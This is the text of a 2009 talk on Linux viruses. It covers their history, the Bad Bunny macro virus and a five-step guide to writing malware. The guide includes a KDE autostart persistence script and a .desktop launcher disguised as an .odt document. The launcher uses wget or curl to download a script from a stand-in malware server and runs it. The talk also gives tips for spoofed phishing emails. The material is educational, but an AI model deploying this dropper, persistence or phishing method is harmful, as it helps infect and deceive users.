Linux Viruses

by Aaron Grothe

March 18, 2009

Disclaimer #1

- This presentation will give some hints about how to write very simple viruses and other malware that run under the GNU/Linux and other operating systems.
- As part of this we'll be looking at several example viruses which can be dangerous to do

Disclaimer #2

- This talk is based on my opinions and experiences and nothing else. It does not reflect the views or opinions of any place I work or organization that I may be a part of.

Reactions

The following is the rough breakdown of Reactions when I announced the talk broke down as follows

- Wow! Couldn't you get Bob McCoy to Talk? - 50%
- Linux doesn't have viruses. Duh!!! - 30%
- Meow - 20%

What is a Computer Virus?

- One classic definition is a self-reproducing program that requires user interaction to propagate It is not by the classic definition able to propagate to remote systems without human interaction.

First Linux Virus???

- Staog – 1996

  Staog appears to have been the first public seen virus
- Bliss – 1996/Early 1997

  Bliss was the first “popular” virus. It got quite a bit of press. The source code to bliss is still available in the comp.security.unix archives

Both of these needed specific versions of libraries/kernels etc. So they were version specific and neither runs on a modern system anymore

Linux Doesn't Have Viruses

- This must be true. Everybody says this!!!
- A lot of Linux distros don't install any anti-virus
- People switch to Linux at work to avoid anti-virus programs

Why Linux “doesn't have viruses”

Here are five reasons that most people say that Linux doesn't have viruses

- Separation of privileges
  - How would you hack Sudo???
- Software Heterogeneousness
- Various technologies are inserted here
  - ASLR
  - SELinux
  - AppArmor
- People aren't writing them
- People aren't writing them

Linux AV Software

Let's fire up Synaptic and do a search for virus

We'll see three promising options

Viruskiller – sounds promising
clamav – a real anti-virus program
xkillbill – another Microsoft Virus Thing

Arrogance – Part 2

- In 2000 there was an article on Linux.com about running Windows viruses under Wine.
- It was pretty amazing. We'll take a look at a bit of it.
- One Tongue in Cheek Quote: “It just isn't fair that Windows users get all the viruses. I mean really, shouldn't Linux users be in on the fun as well?”

Future of Viruses

- The classic definition of the Computer Virus is mutating (no pun intended)
- Macro and E-mail viruses are on the rise
  - Writing in Assembler is hard :-(
  - Having a virus that is hard coded against specific versions of libraries has benefits/restrictions
- Customized viruses
  - There probably isn't going to be an anti-virus signature for Bob from accounting's Macro masterpiece
- Toolkits
  - Virus Creator Toolkit was a classic
- Big Apps
  - PDF files, OpenOffice, etc. etc. etc.

Macro Virus Example

We'll be using Bad Bunny as our Example for a Macro Virus

Bad Bunny is written in StarBasic and runs in OpenOffice

Does different behaviors based on what Operating system you are running it on

Let's take a look

Bad Bunny

Macros are turned off in almost all installations of OpenOffice nowadays

Lessons from Bad Bunny

The real way to test OpenOffice 3.0's VBA compatibility will be to run a bunch of macro viruses against it

StarBasic is a pretty powerful scripting language in its own right

What a Furvert is :-(

Two of Microsoft's Laws

Several years ago Microsoft put out the “10 Immutable Laws of Computer Security”

Two of them directly apply here

Law #1: If a bad guy can persuade you to run his program on your computer, it's not your computer anymore

Law #10: Technology is not a panacea

Also available as a screen saver from microsoft.com

Writing a Virus

Five Steps laid out in the Geekzone article

- Write Malware
- Autolaunching
- Create a Launcher
- Send to e-mail as an attachment
- Propagate virus as often as possible

- Code snippets on the following slides is also lifted from the Geekzone article

Write Malware

This is the payload. It can be just about anything on the box. It can self-replicate or just be concerned with keeping itself alive.

Autolaunching

This is setting the program to relaunch itself when the user logs in

Example Python script for KDE to autostart

```
import os
uname = os.getlogin()
drop_dir = “/home/%s/.kde/Autostart” % uname)
os.makedirs(drop_dir)
os.symlink("/home/%s/.local/.hidden/s.py" %
uname, drop_dir+“/s.py")
```

Writing a Launcher

```
[Desktop Entry]
   Type=Application
   Name=some_text.odt
   Exec=bash -c
   'URL=http://www.my_malware_server.com/s.py ;
                            DROP=~/.local/.hidden ;
                           mkdir -p $DROP;
                           if [ -e /usr/bin/wget ] ;
                           then wget $URL -O $DROP/s.py ;
                           else curl $URL -o $DROP/s.py ; fi;
                           python $DROP/s.py'
    Icon=/usr/share/icons/hicolor/48x48/apps/ooo-
   writer.png
```

Send E-mail to People

- Work on the Subject Line

  Will “I Luv You” Work?
- Invoke the power of LOLcats
- Fake the e-mail sender
  - Get a lot of Greeting cards from Mom

Propagate Virus

- The best Virus is one that people will actually forward by choice
  - Be funny or be useful
  - An example of Both – Today's Deep Thought

How to Fight Viruses

- User education
- Run ClamAV against suspicious files
- Patch operating systems and applications regularly

References

- How to write a Linux Virus in 5 Easy Steps - http://www.geekzone.co.nz/foobar/6229
- Linux a Virus Target? - http://www.desktoplinux.com/articles/AT578584299
- Running Windows Viruses with Wine - http://www.linux.com/feature/42031
- Microsoft's 10 Immutable Laws of Security - http://technet.microsoft.com/en-us/library/cc722487
- The ELF Linux Virus Writing HOWTO - http://virus.bartolich.at/virus-writing-HOWTO/_html/
- Linux Mafia page on Linux Viruses - http://linuxmafia.com/~rick/faq/index.php?page=viru